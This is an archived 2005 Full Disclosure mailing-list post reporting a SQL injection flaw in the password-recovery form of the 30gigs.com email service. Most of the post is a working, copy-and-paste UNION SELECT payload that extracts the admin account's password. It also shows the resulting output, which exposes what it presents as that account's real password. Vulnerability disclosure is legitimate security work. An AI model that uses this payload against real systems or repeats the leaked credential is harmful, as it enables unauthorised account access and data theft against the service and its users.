Full Disclosure mailing list archives
30gigs SQL injection vulnerability
From: cumhur onat <cumhuronat () gmail com>
Date: Wed, 16 Nov 2005 15:16:24 +0200
I found a sql injection vulnerability, which leads to password disclosure in 30gigs.com <http://30gigs.com> email service. The vulnerability exists in http://www.30gigs.com/getpassword/ page due to lack of validation of user submitted data. Proof of Concept: enter http://www.30gigs.com/getpassword/ and copy & paster this code in the Login field, finally submit the form. not_existant' union select 1,1,1,1,1,UserPassword,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from users where userLogin='admin it will give an output like below, in which "runsit" corresponds to the password of account "admin" We have sent the password for your not_existant' union select 1,1,1,1,1,UserPassword,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from users where userLogin='admin () 30gigs com account to runsit The site has been notified about the vulnerability 2 weeks ago, but no response was taken.
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- 30gigs SQL injection vulnerability cumhur onat (Nov 16)